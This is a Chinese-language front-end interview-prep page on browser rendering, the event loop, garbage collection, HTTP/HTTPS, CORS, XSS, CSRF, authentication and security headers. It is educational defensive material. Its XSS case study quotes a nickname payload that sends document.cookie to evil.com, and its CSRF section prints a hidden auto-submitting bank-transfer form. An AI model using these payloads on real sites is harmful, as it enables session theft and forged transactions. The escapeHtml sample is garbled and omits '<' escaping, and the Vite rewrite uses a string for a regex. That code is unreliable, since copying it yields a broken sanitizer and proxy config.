浏览器原理与前端安全 面试备战

从 URL 输入到页面渲染、从事件循环到安全攻防 —— 全面覆盖前端核心原理面试考点

1 浏览器渲染流程

渲染管线全流程

CSS Diagram #1 — 从 URL 到像素的完整管线
URL 输入
DNS 解析
TCP 连接
HTTP 请求
HTML 响应
DOM 树
CSSOM
Render Tree
Layout
Paint
Composite
生活类比 — 工厂流水线:
🔍 DNS = 查电话簿 — 你知道公司名,但需要查到电话号码(IP地址)
📞 TCP = 拨通电话 — 三次握手确保双方都准备好了再通话
📦 HTTP = 下订单 — 告诉对方你要什么(GET /index.html),对方发货给你
📋 DOM = 进货清单 — 把收到的零件(HTML标签)按层次整理好
🎨 CSSOM = 涂装方案 — 每个零件涂什么颜色、多大尺寸
🏗️ Render Tree = 组装图纸 — 只组装可见零件(display:none 的不进图纸)
📐 Layout = 测量放样 — 在工厂地面上标出每个零件的精确位置和大小
🖌️ Paint = 喷漆上色 — 按图纸把颜色画上去
📸 Composite = 分层拼装 — 多层独立喷涂后叠在一起,成品出厂!

关键步骤详解

🔍 DNS 解析过程

浏览器缓存 → OS缓存 → 路由器缓存 → ISP DNS → 根域名服务器 → 顶级域名服务器 → 权威域名服务器。
典型耗时:本地缓存 0ms,完整递归查询 20~120ms。

Browser Cache OS Cache Router Cache ISP DNS Root DNS
📞 TCP 三次握手
Client: SYN
Server: SYN+ACK
Client: ACK
连接建立!
三次握手 = 确认通话:
A: "你能听到我吗?" (SYN)
B: "听到了,你能听到我吗?" (SYN+ACK)
A: "听到了,开始说吧!" (ACK)
🏗️ DOM + CSSOM → Render Tree
// DOM 构建是增量的 —— 遇到 <script> 会阻塞
// CSSOM 构建是渲染阻塞的 —— 必须全部解析完

// Render Tree 只包含可见节点:
//   head, meta, link, display:none → 不进 Render Tree
//   visibility:hidden → 进入 Render Tree(占位但不可见)

重绘 (Repaint) vs 回流 (Reflow)

操作类型 触发条件 性能消耗 影响范围
Reflow (回流) 改变几何属性:width, height, margin, padding, position, font-size, display... — 重新计算布局 子元素和父元素都可能受影响
Repaint (重绘) 改变外观:color, background, visibility, box-shadow, border-radius... — 跳过 Layout 仅影响自身外观
Composite (合成) transform, opacity — GPU 加速 独立图层,不影响其他元素

CSS 属性触发关系对照表

属性ReflowRepaintComposite
width / heightYES
margin / paddingYES
displayYESYES
colorYES
backgroundYES
box-shadowYES
visibilityYES
transformYES
opacityYES
top / left (positioned)YES
will-change: transformYES (提升为独立图层)
生产案例 — Layout Thrashing (强制同步布局):
// 反面模式:读写交替导致循环 reflow
for (let i = 0; i < 1000; i++) {
  // 读 → 强制浏览器立即计算布局
  const height = element.offsetHeight;
  // 写 → 使布局失效
  element.style.height = (height + 10) + 'px';
  // 下一次循环读 offsetHeight 又要重新计算 → 1000次 reflow!
}

// 正确做法:批量读,批量写
const heights = [];
for (let i = 0; i < 1000; i++) {
  heights.push(element.offsetHeight);  // 批量读
}
for (let i = 0; i < 1000; i++) {
  elements[i].style.height = (heights[i] + 10) + 'px';  // 批量写
}

// 或者使用 requestAnimationFrame
function updateHeight() {
  const height = element.offsetHeight;
  requestAnimationFrame(() => {
    element.style.height = (height + 10) + 'px';
  });
}
性能优化口诀: 用 transform/opacity 做动画 → 用 will-change 提升图层 → 批量读写分离 → 使用 requestAnimationFrame → 脱离文档流(absolute/fixed)减少回流范围。

2 事件循环 (Event Loop)

核心机制

CSS Diagram #2 — 事件循环架构
Call Stack (调用栈)
main()
foo()
← 当前执行
Microtask Queue (微任务)
Promise.then(cb1)
MutationObserver
queueMicrotask(cb)
Macrotask Queue (宏任务)
setTimeout(cb, 0)
setInterval(cb)
I/O callback
UI render
Stack 清空?
执行全部微任务
取一个宏任务
UI Render?
重复循环
微任务 (Microtask)
Promise.then/catch/finally
MutationObserver
queueMicrotask()

每轮宏任务结束后,全部微任务执行完毕才进入下一轮宏任务。微任务中产生的微任务也会在本轮执行。

宏任务 (Macrotask)
setTimeout / setInterval
I/O 回调
UI 渲染
MessageChannel

每轮只取一个宏任务执行。执行完后清空微任务队列,再取下一个宏任务。

经典执行顺序题

经典题 #1 — 基础执行顺序
console.log('1');

setTimeout(() => {
  console.log('2');
}, 0);

Promise.resolve().then(() => {
  console.log('3');
}).then(() => {
  console.log('4');
});

console.log('5');

// 输出: 1, 5, 3, 4, 2

同步代码 → 微任务(Promise) → 宏任务(setTimeout)

经典题 #2 — 嵌套 Promise + setTimeout
setTimeout(() => console.log('A'), 0);

new Promise((resolve) => {
  console.log('B');
  resolve();
}).then(() => {
  console.log('C');
  new Promise((resolve) => {
    console.log('D');
    resolve();
  }).then(() => console.log('E'));
}).then(() => console.log('F'));

console.log('G');

// 输出: B, G, C, D, E, F, A
经典题 #3 — async/await
async function async1() {
  console.log('async1 start');
  await async2();
  console.log('async1 end');  // 等同于 .then() → 微任务
}

async function async2() {
  console.log('async2');
}

console.log('script start');

setTimeout(() => {
  console.log('setTimeout');
}, 0);

async1();

new Promise((resolve) => {
  console.log('promise1');
  resolve();
}).then(() => {
  console.log('promise2');
});

console.log('script end');

// 输出: script start, async1 start, async2, promise1, script end,
//       async1 end, promise2, setTimeout
生产案例 — setTimeout(fn, 0) 不等于立即执行:

setTimeout(fn, 0) 实际最小延迟为 4ms(HTML5 规范)。在 Chrome 中,嵌套 5 层以上的 setTimeout 最小延迟变为 4ms。

更关键的是,setTimeout 是宏任务,必须等所有微任务执行完、UI 渲染完成后才执行。

替代方案: 如果需要"尽快执行",使用 queueMicrotask()Promise.resolve().then() 作为微任务,会在当前宏任务结束后立即执行。

3 垃圾回收

两种核心算法

CSS Diagram #3 — 垃圾回收算法对比

引用计数 (Reference Counting)

Object A ← ref count: 1
Object B ← ref count: 2
↑ A → B (A 引用 B)
↑ 全局 → B
⚠ A → B → A (循环引用)
count 永远 > 0 → 永远不回收!
已弃用 — 无法处理循环引用

标记-清除 (Mark-and-Sweep)

Phase 1: 从 Root 出发标记可达对象
Root → A ✅ → B ✅
Root → C ❌ (不可达)
Phase 2: 清除未标记对象
C 被回收 ✓
A→B→A 循环?从 Root 不可达 → 仍被回收 ✓
V8 采用 — 主流算法
🧠 V8 的分代回收

新生代 (Young Generation): 存活时间短的对象,使用 Scavenge 算法(Cheney 算法),空间小(1~8MB),回收频繁。
老生代 (Old Generation): 存活时间长的对象,使用 Mark-Sweep + Mark-Compact,空间大,回收频率低。
晋升条件: 经历过一次 Scavenge 仍然存活,或 To-Space 使用率超过 25%。

前端常见内存泄漏模式

1. 被遗忘的定时器
// 组件销毁时没有清除定时器
const timer = setInterval(() => {
  fetchData();  // 一直引用组件作用域
}, 1000);
// 忘记 clearInterval(timer) → 泄漏!
🔗
2. 分离的 DOM 节点
// 从 DOM 树移除,但 JS 仍持有引用
const button = document.getElementById('myBtn');
document.body.removeChild(button);  // DOM 树中移除了
// 但 button 变量仍在引用它 → 无法被 GC!
// 解决: button = null;
📦
3. 闭包持有引用
function createHandler() {
  const hugeData = new Array(1000000);  // 大数组
  return function() {
    console.log(hugeData.length);  // 闭包引用 hugeData
  };
  // hugeData 永远不会被回收,哪怕只用到了 length
}
🌐
4. 全局变量
// 意外的全局变量 (缺少 let/const/var)
function foo() {
  bar = "I'm global now";  // 挂到 window.bar → 永远不回收
  this.baz = "also global";  // 如果 this 是 window
}
// 解决: 'use strict' 模式下 this 为 undefined

Chrome DevTools Memory 面板排查流程

打开 DevTools
Memory 面板
Heap Snapshot
操作页面
再次 Snapshot
Comparison 视图
找 Detached DOM

关键过滤: 搜索 Detached 查找分离节点;按 Retained Size 降序找最大泄漏;使用 Allocation Timeline 实时观察分配。

生产案例 — SPA 切换 50 个页面后内存飙到 4GB:

某后台管理系统 SPA,用户频繁切换页面后,Chrome 进程内存从 200MB 增长到 4GB,页面卡死。

根因: Vue 组件中注册了 window.addEventListener('resize', handler) 但在 beforeUnmount 中没有 removeEventListener。每个页面切换都累积一个无法回收的监听器 + 闭包中持有的组件实例。

修复:beforeUnmount 中清除所有全局事件监听、定时器和第三方库实例。

4 HTTP 与 HTTPS

HTTP 版本对比

特性 HTTP/1.1 HTTP/2 HTTP/3
传输层 TCP TCP QUIC (UDP)
多路复用 不支持 (6个TCP连接限制) 支持 (同一连接多流) 支持 (原生多流)
队头阻塞 TCP级阻塞 TCP级仍存在 彻底解决
头部压缩 HPACK QPACK
服务器推送 支持 (已逐步弃用) 支持
连接建立 TCP (1 RTT) TCP + TLS (2~3 RTT) QUIC (0~1 RTT)
连接迁移 不支持 (IP变化断连) 不支持 支持 (Connection ID)

HTTPS 握手过程

CSS Diagram #4 — TLS 1.2 握手流程
Client (客户端)
Server (服务器)
ClientHello (支持的TLS版本、加密套件、随机数A)
ServerHello + Certificate + 随机数B
Client Key Exchange (预主密钥,用服务器公钥加密)
双方用 随机数A + 随机数B + 预主密钥 → 计算出 会话密钥 (Session Key)
Change Cipher Spec + Finished (用会话密钥加密)
Change Cipher Spec + Finished
开始加密通信

TLS 1.3 改进

TLS 1.3 vs TLS 1.2
改进点TLS 1.2TLS 1.3
握手延迟2 RTT1 RTT
恢复连接1 RTT0 RTT
加密套件多种 (含不安全的)仅 AEAD (移除不安全算法)
密钥交换RSA / ECDHE仅 ECDHE (前向保密)
安全性存在已知攻击移除所有已知漏洞

证书链 (Certificate Chain)

Root CA
签发
Intermediate CA
签发
Server Certificate
为什么需要中间证书? Root CA 的私钥离线保存(极高安全),由 Intermediate CA 日常签发证书。浏览器内置 Root CA 公钥,逐级验证签名。

5 跨域与 CORS

同源策略 (Same-Origin Policy)

🛡️ 同源 = 协议 + 域名 + 端口 完全一致
URL AURL B是否同源原因
https://a.comhttps://a.com/api同源路径不同没关系
https://a.comhttp://a.com跨域协议不同
https://a.comhttps://b.com跨域域名不同
https://a.comhttps://a.com:8080跨域端口不同
https://a.comhttps://sub.a.com跨域子域也算不同

CORS 流程

CSS Diagram #5 — 简单请求 vs 预检请求

简单请求

条件: GET/POST + 标准头 + 简单Content-Type
Browser → Server:
GET /api/data
Origin: https://a.com
Server → Browser:
Access-Control-Allow-Origin: https://a.com
+ 数据
✓ 一次请求完成

预检请求 (Preflight)

条件: PUT/DELETE / 自定义头 / application/json
Step 1: OPTIONS 预检
OPTIONS /api/data
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Token
Step 2: 服务器响应允许
Access-Control-Allow-Methods: PUT
Access-Control-Allow-Headers: X-Token
Step 3: 发送实际请求
PUT /api/data + Body

常见 CORS 错误与解决方案

错误信息原因解决方案
No 'Access-Control-Allow-Origin' 服务器未返回 CORS 头 服务器添加响应头
CORS policy: redirect not allowed 跨域请求被 301/302 重定向 避免跨域重定向,或直接请求最终地址
Credential is not supported withCredentials + origin 为 * 必须指定具体 Origin,不能为 *
Preflight wildcard credentials 模式下 headers 不能为 * 明确列出允许的 headers

代理配置

Vite 开发代理
// vite.config.js
export default {
  server: {
    proxy: {
      '/api': {
        target: 'https://api.example.com',
        changeOrigin: true,
        rewrite: (path) =>
          path.replace('/^\/api/', '')
      }
    }
  }
}
Nginx CORS 配置
# nginx.conf
server {
  location /api {
    if ($request_method = 'OPTIONS') {
      add_header Access-Control-Allow-Origin *;
      add_header Access-Control-Allow-Methods
        'GET,POST,PUT,DELETE';
      add_header Access-Control-Allow-Headers
        'Content-Type,Authorization';
      return 204;
    }
    proxy_pass http://backend:3000;
  }
}
生产案例 — 本地正常上线后跨域:

开发环境通过 Vite proxy 转发 /api,一切正常。部署到生产后,前端在 app.example.com,后端在 api.example.com,直接跨域报错。

根因: 开发代理只在 dev server 生效,生产环境没有中间代理层。
解决方案: ① Nginx 反向代理统一域名;② 后端配置 CORS 响应头;③ 使用 BFF 层(如 Next.js API Routes)在服务端转发请求。

6 前端安全

6.1 XSS (Cross-Site Scripting)

CSS Diagram #6 — XSS 三种攻击类型
💾
存储型 XSS
攻击者将恶意脚本提交到服务器数据库(如评论、用户名),其他用户浏览时脚本自动执行。

危害: 窃取 Cookie、篡改页面、蠕虫传播
最危险 — 持久化、影响所有用户
🔗
反射型 XSS
恶意脚本嵌入 URL 参数中,服务器将参数"反射"到页面上。用户点击恶意链接时触发。

常见: 搜索结果页、错误提示
需诱导点击
📄
DOM 型 XSS
纯前端漏洞,JS 直接将不可信数据写入 DOM(如 innerHTML),不经过服务器。

常见: URL hash → innerHTML
服务器无法检测

XSS 防御手段

输入转义 (Escape)
// HTML 转义函数
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/'&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

// 框架默认防护:
// React: {userInput} → 自动转义
// Vue: {{ userInput }} → 自动转义
// 只有 dangerouslySetInnerHTML / v-html 才有风险!
CSP (内容安全策略)
// HTTP 响应头
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  object-src 'none';

// 效果: 只允许加载指定来源的脚本
// 内联脚本和 eval() 被阻止
// 即使被注入 script 标签也无法执行
🍪 HttpOnly Cookie
// 服务器设置 Cookie 时:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

// HttpOnly: JS 无法通过 document.cookie 读取
// Secure: 仅在 HTTPS 下传输
// SameSite: 防止跨站请求携带 Cookie
生产案例 — 用户输入 <script> 被当成 HTML 执行:

某社交平台用户将昵称改为 <script>fetch('https://evil.com?cookie='+document.cookie)</script>,其他用户查看其个人资料时,脚本执行导致 session 被窃取。

根因: 个人资料页使用 v-html 渲染用户昵称,未做转义。
修复: ① 使用 {{ }} 插值(自动转义);② 后端对用户输入进行 sanitize;③ 添加 CSP 头;④ 敏感 Cookie 设置 HttpOnly。

6.2 CSRF (Cross-Site Request Forgery)

CSRF 攻击流程

受害者 (已登录银行)
访问攻击者网站
自动发送请求
银行服务器
执行转账!
💀 CSRF 攻击原理
<!-- 攻击者网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script> document.forms[0].submit(); </script>

<!-- 浏览器自动携带 bank.com 的 Cookie -->
<!-- 服务器无法区分是用户主动操作还是被诱导 -->

CSRF 防御

🔑
CSRF Token
服务器生成随机 Token 嵌入表单,提交时验证。攻击者无法获取 Token(受同源策略限制)。
🍪
SameSite Cookie
SameSite=Strict 完全禁止跨站发送;SameSite=Lax 允许 GET 导航(推荐)。
🔍
Referer 检查
验证请求头中的 Referer/Origin 是否为本站。辅助手段,不能完全依赖(可被篡改或缺失)。

XSS vs CSRF 对比

维度XSSCSRF
攻击目标在用户浏览器执行脚本冒充用户发送请求
攻击方式注入恶意代码利用已认证的 Cookie
是否需要用户登录不一定必须 (利用登录状态)
能否获取数据 (读取 DOM/Cookie)不能 (只能发请求)
防御核心输入转义 + CSPToken + SameSite Cookie
HttpOnly 有效?有效 (防窃取 Cookie)无效 (浏览器自动带 Cookie)

7 认证方案对比

Cookie + Session

🎫 工作流程
用户登录
POST /login
服务器验证
创建 Session
返回 Cookie
Set-Cookie: sid=xxx
后续请求
自动带 Cookie
类比 — 会员卡 + 登记簿:
用户拿到一张会员卡(Cookie 中的 session_id),健身房有一个登记簿(服务器 Session 存储)。每次来刷会员卡号,查登记簿确认你的信息。卡丢了要补办(重新登录),登记簿满了要清理(Session 过期)。

Token (JWT)

🔐 JWT 结构与流程
HEADER (算法类型).PAYLOAD (用户数据+过期时间).SIGNATURE (用密钥签名)
用户登录
服务器验证
生成 JWT
返回 Token
存 localStorage
请求时
Authorization: Bearer
服务器
验证签名
类比 — 电子门卡:
酒店给你一张电子门卡(JWT),卡里存着你的房间号和过期时间,用酒店的加密芯片签名。门锁(服务器)不需要联网查登记簿,直接验证卡上的签名就能开门。但卡丢了别人也能用(无法主动失效),所以过期时间要短。

OAuth 2.0

🌐 OAuth 2.0 授权码模式 (微信/Google 登录)
用户
你的应用
微信/Google
① 用户点击"微信登录" → 跳转到微信授权页
② 用户在微信页同意授权
③ 微信回调你的应用,带回 authorization_code
④ 你的后端用 code + client_secret 换取 access_token
⑤ 用 access_token 调用微信 API 获取用户信息

三种方案对比

维度 Cookie + Session JWT OAuth 2.0
状态 有状态 (服务器存 Session) 无状态 有状态 (Token 管理)
扩展性 (需共享 Session)
安全性 CSRF 风险 XSS 风险 (Token 存前端) 依赖实现
主动失效 容易 (删 Session) 困难 (只能等过期) 可撤销
跨域 需额外配置 天然支持 设计为跨域
适用场景 传统 Web 应用 API / SPA / 移动端 第三方登录 / 开放平台
生产案例 — JWT 过期但用户还在操作 (Refresh Token Rotation):

Access Token 有效期 15 分钟,用户编辑长文时 Token 过期,提交失败,体验很差。

解决方案 — 双 Token 机制:
① Access Token (短效, 15min) — 用于 API 认证
② Refresh Token (长效, 7天) — 仅用于获取新的 Access Token
③ 前端拦截 401 → 自动用 Refresh Token 换新 Access Token → 重试原请求
Refresh Token Rotation: 每次使用 Refresh Token 后,旧 Token 失效,返回新的 Refresh Token。如果检测到旧 Refresh Token 被使用,说明被盗,撤销所有 Token。

// Axios 拦截器实现
axios.interceptors.response.use(
  (response) => response,
  async (error) => {
    if (error.response?.status === 401 && !error.config._retry) {
      error.config._retry = true;
      const newToken = await refreshAccessToken();
      error.config.headers.Authorization = `Bearer ${newToken}`;
      return axios(error.config);  // 重试原请求
    }
    return Promise.reject(error);
  }
);

8 CSP 与安全头

Content-Security-Policy 指令

指令作用示例值
default-src所有资源的默认策略'self'
script-srcJavaScript 来源'self' cdn.example.com
style-srcCSS 来源'self' 'unsafe-inline'
img-src图片来源'self' data: https:
connect-srcAJAX/WebSocket 来源'self' api.example.com
font-src字体来源'self' fonts.googleapis.com
frame-srciframe 来源'none'
object-srcFlash/插件来源'none'
report-uri违规上报地址/csp-report

其他安全响应头

响应头作用推荐值
X-Frame-Options 防止页面被 iframe 嵌入 (防 Clickjacking) DENYSAMEORIGIN
X-Content-Type-Options 阻止浏览器 MIME 类型嗅探 nosniff
Strict-Transport-Security 强制 HTTPS,防止降级攻击 max-age=31536000; includeSubDomains
X-XSS-Protection 浏览器内置 XSS 过滤器 (已弃用) 0 (关闭,用 CSP 替代)
Referrer-Policy 控制 Referer 头的发送范围 strict-origin-when-cross-origin
Permissions-Policy 控制浏览器功能使用权限 camera=(), microphone=(), geolocation=(self)
📋 推荐安全头配置 (Nginx)
# 安全响应头完整配置
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'" always;

9 面试题精选 (30道)

1 从输入 URL 到页面展示发生了什么?
答案要点: URL 解析 → DNS 解析 (递归查询) → TCP 三次握手 → TLS 握手 (HTTPS) → HTTP 请求/响应 → HTML 解析构建 DOM → CSS 解析构建 CSSOM → 合成 Render Tree → Layout (计算布局) → Paint (绘制) → Composite (合成层)。中间遇到 JS 会阻塞 DOM 构建,遇到 CSS 会阻塞 JS 执行和渲染。
2 什么是重绘和回流?如何避免?
Reflow: 几何属性变化导致重新计算布局,开销大。Repaint: 外观属性变化只需重新绘制,跳过布局。避免: ① 使用 transform/opacity 代替 top/left/width;② 批量修改样式 (cssText/classList);③ 读写分离避免强制同步布局;④ 使用 DocumentFragment 批量操作 DOM;⑤ 对频繁操作的元素设置 position:absolute/fixed 脱离文档流。
3 为什么操作 DOM 慢?
答案: JS 引擎和渲染引擎是两个独立的模块。操作 DOM 需要跨模块通信,每次 DOM 修改可能触发样式计算、布局和绘制。此外,DOM 操作可能频繁触发回流(如循环中读写 offsetHeight),导致"强制同步布局"。
4 浏览器的事件循环是怎样的?
答案: JS 是单线程的,通过事件循环实现异步。执行流程: ① 执行同步代码(调用栈);② 调用栈清空后,检查微任务队列,执行所有微任务(包括执行过程中新增的微任务);③ 取一个宏任务执行;④ 渲染 UI(如果需要);⑤ 回到第②步。微任务优先级始终高于宏任务。
5 微任务和宏任务分别有哪些?执行顺序?
微任务: Promise.then/catch/finally, MutationObserver, queueMicrotask()
宏任务: setTimeout, setInterval, I/O, UI rendering, MessageChannel
顺序: 同步代码 → 全部微任务 → 一个宏任务 → 全部微任务 → 下一个宏任务 → ...
6 async/await 的执行顺序是什么?
答案: await 右侧的表达式同步执行,await 下面的代码相当于 .then() 中的回调,是微任务。async function 内部的代码整体是同步的(直到遇到 await),async 函数调用本身是同步的。
7 setTimeout(fn, 0) 会立即执行吗?
答案: 不会。① 最小延迟为 4ms(HTML5 规范,嵌套超过 5 层时);② 它是宏任务,必须等调用栈清空 + 所有微任务执行完;③ 还可能被 UI 渲染阻塞。如果需要"尽快执行",应该用 queueMicrotask()Promise.resolve().then()
8 requestAnimationFrame 和 requestIdleCallback 的区别?
rAF: 在下一次重绘前执行,适合动画,频率跟随屏幕刷新率(~60fps)。
rIC: 在浏览器空闲时执行,适合低优先级任务(如预加载、数据分析),有 deadline 参数可检查剩余时间。
9 请输出以下代码的执行顺序
console.log('start')
setTimeout(() => console.log('timeout'))
Promise.resolve().then(() => console.log('promise'))
console.log('end')
// start → end → promise → timeout
10 请输出以下代码的执行顺序(含 async/await)
async function f() {
  console.log(1)
  await Promise.resolve()
  console.log(2)
}
setTimeout(() => console.log(3))
f()
new Promise(r => r()).then(() => console.log(4))
console.log(5)
// 1 → 5 → 2 → 4 → 3
11 V8 的垃圾回收机制是怎样的?
答案: V8 采用分代回收策略。新生代使用 Scavenge 算法(From/To 半区复制),存活时间短,回收快。老生代使用 Mark-Sweep(标记清除)+ Mark-Compact(标记整理),解决内存碎片问题。对象从新生代晋升到老生代的条件:经历过一次 Scavenge 仍存活,或 To 空间使用率超过 25%。
12 前端有哪些常见的内存泄漏?如何排查?
常见泄漏: ① 遗忘的定时器/事件监听器;② 闭包引用大对象;③ 分离的 DOM 节点;④ 全局变量;⑤ 未取消的 Promise 链。
排查: Chrome DevTools → Memory → Heap Snapshot → Comparison 视图对比操作前后的快照,搜索 "Detached" 查看分离节点,关注 Retained Size 排序。
13 HTTP/1.1、HTTP/2、HTTP/3 有什么区别?
HTTP/1.1: 文本协议,队头阻塞,每个 TCP 连接同时只处理一个请求(浏览器限制 6 个连接)。
HTTP/2: 二进制帧,多路复用(一个连接并行多流),头部压缩 (HPACK),服务器推送。
HTTP/3: 基于 QUIC (UDP),彻底解决队头阻塞,0-RTT 连接建立,支持连接迁移(网络切换不断连)。
14 HTTPS 的握手过程是怎样的?
TLS 1.2: ClientHello → ServerHello + Certificate → Key Exchange → 双方计算会话密钥 → Finished → 加密通信。需要 2-RTT。
TLS 1.3: 合并步骤,1-RTT 完成握手。恢复连接时 0-RTT。只保留 AEAD 加密和 ECDHE 密钥交换(前向保密)。
15 什么是同源策略?跨域的解决方案有哪些?
同源: 协议 + 域名 + 端口完全一致。
解决方案: ① CORS(服务器设置响应头,推荐);② 代理(开发环境 Vite proxy / 生产环境 Nginx 反向代理);③ WebSocket(不受同源策略限制);④ postMessage(跨窗口通信);⑤ JSONP(只支持 GET,已过时)。
16 CORS 的简单请求和预检请求有什么区别?
简单请求: 方法为 GET/POST/HEAD,Content-Type 为 text/plain / multipart/form-data / application/x-www-form-urlencoded,不使用自定义头。浏览器直接发送,附加 Origin 头。
预检请求: 不满足简单请求条件时(如 PUT/DELETE、application/json、自定义头),浏览器先发 OPTIONS 请求确认服务器是否允许,通过后才发实际请求。
17 什么是 XSS?如何防御?
XSS: 攻击者将恶意脚本注入网页,在其他用户浏览器上执行。分为存储型(最危险)、反射型、DOM 型。
防御: ① 输入输出转义(HTML Entity Encode);② CSP (Content-Security-Policy) 限制脚本来源;③ HttpOnly Cookie 防止 JS 读取;④ 使用框架的默认转义(Vue {{ }}、React {});⑤ 避免使用 innerHTML/v-html 渲染用户输入。
18 什么是 CSRF?如何防御?
CSRF: 攻击者诱导已认证用户访问恶意页面,利用用户的登录状态(Cookie)向目标网站发送伪造请求。
防御: ① CSRF Token(表单/请求头中携带服务器生成的随机 Token);② SameSite Cookie 属性(Strict/Lax);③ 验证 Referer/Origin 头;④ 关键操作要求二次确认(如输入密码)。
19 XSS 和 CSRF 有什么区别?
XSS: 在用户浏览器执行脚本,可以窃取数据、劫持会话。CSRF: 冒充用户发送请求,不能读取响应数据。关键区别: XSS 能读取页面内容(DOM/Cookie),CSRF 只能利用 Cookie 发请求。XSS 不需要用户已登录(反射型),CSRF 必须利用已登录状态。防御 XSS 核心是输入转义 + CSP,防御 CSRF 核心是 Token + SameSite。
20 Cookie、Session、Token (JWT) 有什么区别?
Cookie + Session: 有状态,服务器存储 Session,客户端只存 session_id。简单但不利于分布式扩展。
JWT: 无状态,Token 自包含用户信息,服务器不存储。利于扩展但无法主动失效(只能等过期)。
选择: 传统 Web 用 Session,API/SPA/移动端用 JWT,第三方登录用 OAuth 2.0。生产中常结合使用(JWT + Refresh Token + Redis 黑名单)。
21 JWT 的优缺点是什么?
优点: 无状态,服务器不需要存储 Session;跨域友好;移动端友好;包含用户信息减少数据库查询。
缺点: 无法主动使某个 Token 失效(只能等过期);Payload 未加密(仅签名,不能存敏感信息);Token 体积比 session_id 大;续期机制复杂(需要 Refresh Token)。
22 Refresh Token Rotation 是什么?
答案: 双 Token 机制中,Access Token 短效(如 15 分钟),Refresh Token 长效(如 7 天)。每次使用 Refresh Token 获取新 Access Token 时,同时返回新的 Refresh Token,旧 Refresh Token 立即失效。如果检测到旧 Refresh Token 被重复使用,说明可能被盗,立即撤销该用户所有 Token。
23 什么是 CSP?如何配置?
答案: Content-Security-Policy 是 HTTP 响应头,限制页面可以加载哪些来源的资源。核心指令: default-src(默认策略)、script-src(JS 来源)、style-src(CSS 来源)。设置为 'self' 只允许同源资源,禁止内联脚本和 eval。配合 report-uri 可以收集违规报告。
24 常见的安全响应头有哪些?
Strict-Transport-Security — 强制 HTTPS
X-Frame-Options — 防 Clickjacking (DENY/SAMEORIGIN)
X-Content-Type-Options: nosniff — 防 MIME 嗅探
Content-Security-Policy — 限制资源来源
Referrer-Policy — 控制 Referer 泄露
Permissions-Policy — 控制浏览器功能权限
25 请输出以下代码的执行顺序(Promise 嵌套)
console.log('1')
new Promise((resolve) => {
  console.log('2')
  resolve()
}).then(() => {
  console.log('3')
  Promise.resolve().then(() => console.log('4'))
}).then(() => {
  console.log('5')
})
console.log('6')
// 1 → 2 → 6 → 3 → 4 → 5
// .then() 返回新 Promise,第二个 .then 要等第一个 .then 的同步部分完成
26 如何优化浏览器渲染性能?
CSS: 减少选择器复杂度;避免 @import;使用 contain 属性。
JS: 用 requestAnimationFrame 做动画;避免在滚动/resize 回调中做重计算(用防抖节流)。
DOM: 用 DocumentFragment 批量操作;虚拟列表渲染大量数据;使用 CSS will-change 提升合成层。
关键路径: 内联关键 CSS;async/defer 加载 JS;预加载关键资源 (preload/prefetch)。
27 浏览器的渲染层 (Layer) 和合成层 (Compositing Layer) 是什么?
渲染层: 每个 DOM 元素对应一个渲染对象 (RenderObject),拥有相同坐标空间的渲染对象形成渲染层。
合成层: 满足特定条件的渲染层会被提升为独立的合成层,由 GPU 单独处理。条件: 3D transform、will-change、video/canvas、opacity 动画等。
好处: 合成层的 transform/opacity 变化不需要 reflow/repaint,直接在 GPU 合成。注意: 过多合成层会消耗 GPU 内存。
28 什么是 Clickjacking?如何防御?
Clickjacking: 攻击者用透明 iframe 覆盖在自己的页面上,用户以为点击的是可见按钮,实际点击的是隐藏的 iframe 中的按钮(如"转账")。
防御:X-Frame-Options: DENY/SAMEORIGIN 阻止被嵌入 iframe;② CSP 的 frame-ancestors 指令;③ JS 检测 if (window.top !== window.self) window.top.location = window.self.location;(frame busting)。
29 请输出以下代码的执行顺序(综合题)
const p = new Promise((resolve) => {
  console.log('A')
  setTimeout(() => {
    console.log('B')
    resolve()
  })
})
p.then(() => console.log('C'))
setTimeout(() => console.log('D'), 0)
console.log('E')
// A → E → B → C → D
// 注意: resolve() 在 setTimeout 中调用,
// 所以 .then() 要等到 resolve 所在的宏任务执行完
// 之后的微任务轮次才会执行
30 OAuth 2.0 的授权码模式和隐式模式有什么区别?
授权码模式 (Authorization Code): 最安全,推荐。先获取 authorization_code,后端用 code + client_secret 换取 access_token。Token 不暴露给前端。
隐式模式 (Implicit): 已弃用。直接在前端获取 access_token(通过 URL fragment),Token 暴露在浏览器中,不安全。PKCE (Proof Key for Code Exchange) 是授权码模式的增强版,适用于 SPA(无后端 secret),现在推荐使用 PKCE 替代隐式模式。
浏览器原理与前端安全 — 全栈面试备战库 | 9 大模块 · 6 张 CSS 图表 · 30 道精选面试题